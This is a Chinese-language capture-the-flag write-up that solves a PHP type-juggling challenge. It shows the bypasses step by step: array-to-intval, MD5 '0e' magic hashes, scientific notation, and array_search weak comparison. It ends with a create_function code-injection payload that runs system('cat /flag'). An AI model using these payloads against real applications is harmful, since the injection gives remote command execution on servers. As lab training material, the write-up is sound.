了解过PHP特性吗 wp
第一页题目代码：
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
第一关：intval 无数字绕过
推荐博客：CTFshow刷题日记-WEB-PHP特性（上）
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
num 中没有数字却要通过 intval 的检测。
已知 intval 有如下特性：
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
那么只需要传入一个非空的数组即可：
num[1]=a&num[2]=b
第二关：ctype_alpha && is_numeric && md5 弱比较绕过
推荐博客：MD5绕过
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
ctype_alpha 函数检测提供的 string 类型的 text 里面的所有字符是否都是字母。
is_numeric 函数用于检测变量是否为数字或数字字符串。
strrev 函数反转字符串，所以传入的值要先反转一次。
因此让 ctype 是纯字母，让 is_num 是纯数字，并且两边经过 MD5 加密后都是 0e 开头，就可以通过弱比较。
经过 MD5 加密后是 0e 开头的纯字母字符串：
QLTHNDT
QNKCDZO
EEIZDOI
… …
经过 MD5 加密后是 0e 开头的纯数字字符串：
240610708
4011627063
4775635065
… …
POST 传参：
ctype=TDNHTLQ&is_num=807016042
第三关：intval 绕过且长度限制，is_numeric 绕过
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
114 用科学记数法传入即可，514 可以用 数字+字母，数字+%00，或者数组绕过。
GET 传参：114=1e8 ，POST 传参：514=999999999a
第四关：array_search 绕过
推荐博客：PHP弱类型总结
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
array_search() 函数在数组中搜索某个键值，并返回对应的键名。
用法示例：
<?php
$a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);
?>
输出结果：a
array_search() 函数在查找时使用的是弱比较；
PHP 中比较 0 == "NSS" 时，字符串 "NSS" 会被转换为数字 0，所以比较的结果是 true 。
因此可以传入一个数组，其值是 0 ，这样在 array_search() 查找时一定能成功，返回键名为 0 ，那么强比较就成功了。
因此 payload 为 POST 传参：arr4y[]=0
该数组只有一个元素，其下标为 0 ，值为 0 ，下标就相当于键名；
array_search() 查找时，将 “NSS” 与键值 0 做弱比较，比较成功，返回键名 0 。
上述 payload 整合后，返回结果为：
提示：Rc3_function.php
第二页题目代码：
访问 Rc3_function.php ：
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
create_function 注入
推荐博客：[NISACTF 2022]level-up level 5
POST 传参 payload：
nss=return;}system('cat /flag');/*&shell=
返回结果：
拿到 flag 。
